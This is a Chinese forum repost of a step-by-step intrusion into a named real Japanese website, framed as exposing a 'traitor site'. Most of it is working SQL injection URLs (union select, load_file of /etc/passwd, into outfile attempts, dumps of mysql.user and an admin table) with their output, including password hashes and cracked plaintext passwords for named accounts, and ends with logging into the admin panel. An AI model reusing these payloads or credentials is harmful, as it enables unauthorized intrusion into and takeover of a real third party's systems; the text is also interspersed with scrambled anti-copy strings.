原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

  S( }5 K& {) J: T  \
) P& h/ b& {+ c/ j, b0x01. 检测 www.zuaa.jp 收集数据

: E' E* I+ s/ g2 ^
6 p: z0 A% l9 L  l, o- Wwhatweb

7 q4 }" |4 l; F. v8 V  `
利用NMAP扫描

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
0x02.找注入点
找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390
4 x4 \: u, S* D8 S% e, N8 j4 }6 R& K

0x03.order by
             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1
! k/ v' G& U8 [- O2 z
8 l9 X) G- u, H( }: Gorder by 28报错，order by 27正常
* }- |1 ]- _  f4 H) a6 ?9 c1 o
  |5 }" o5 B6 b4 q( k' `  O- r0x04.   union手动查询
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
添加到 27 时正常显示
0 I0 H/ n, M- p! U( ~. u
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
2 ^0 m$ d; j' W
0x05. info:
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

user:            root@localhost
database:    openpne
: w' H! z% ~7 s+ dversion:      4.1.22
os:             portbld-freebsd5.4
5 K/ i9 ~: t7 z* ]7 d
9 Z# i$ Q2 t+ _0 d/ |+ v5 Q0x06. root用户
/ k4 Z: z1 G3 W+ H利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
1 Q: K4 g# R! S8 Z+ R, U- V7 R
( _% e6 b! C+ F) J通过工具转换
$ I" r. [! E2 B6 e8 y3 N; A
( d/ v5 q0 j8 Z, Z: O中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
2 @) F% X% n. c# \) u) o
- [, _& J. K3 V: G9 x0x07. 利用 into outfile
& _' }- X+ ]0 g1 P. o- o全部都失败
. R+ @) G* n; _" I. Zhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php
& K% P" h% y- {% }
# }) `/ i+ D( \4 k. Vhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

页面显示“MDB2 Error:syntax error”
) {/ U  @$ i" ]* R" @( A
0x08. 利用 mysql 4.1
7 E/ m6 [7 x' l0 k4 u: [) e猜常规表名，字段未果 工具 sqlmap
: d9 Z( t1 C; B' z  j( |* v! M2 @中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
/ d1 v$ K% E5 P7 f

$ J; [, ?6 _2 e) |, P: J, q
0x09. 查找后台
利用 现有的各种 后台工具尝试都不行
" S% |% S: C5 ^
0x10.  MySL外联方法
从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
- {7 J2 n7 r' f: I* }5 m可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
% e% j' X5 k4 J0 c9 p. j# M/ ^http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user

* G5 l& s$ e" I) @: n9 P& A这个可以在 www.cmd5.com 解密
root:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
3 }% U1 O  A  echen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
, X' _3 }0 y8 T# r$ U4 dopenpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
zuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
- O( m5 v" D4 @$ L1 A0 s0 q  g9 ?
7 ?7 ^7 p% e9 V: `$ d) Q+ Z( w
6 I$ I6 ?! f+ s6 ^* N  q+ D: Y0x11. 网站突破
发现网站的源程序 openpne, google 下载 openpne 源码
2 E& J" Q- r  W9 C5 y

0x12. 默认信息利用
http://sns.zuaa.jp/?m=admin&a=page_login
, E& o- v. W+ Q: P/ H0 c
; I! v  ~$ D& t2 i! W表名 (c_admin_user) ，字段名（username,password）
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user

解密
zuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
7 m* }5 T+ a, I: K& D& vzuaajp:c0923ec5857796a393da99905008c176,          zju1897
1 b6 P3 ~  o$ J- {+ C1 `; H3 E; C8 ]1 p
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x13. 登录后台
$ r/ T* o6 b% r* y" Y
( j; l9 W$ d, N5 ^, Z

0x14. 小结
4 _9 e( k$ g& t. W( _/ U# k6 D利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
5 x% K( T5 E. a2 {感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！

荒村狂客

哪个牛人 费的这劲 入侵的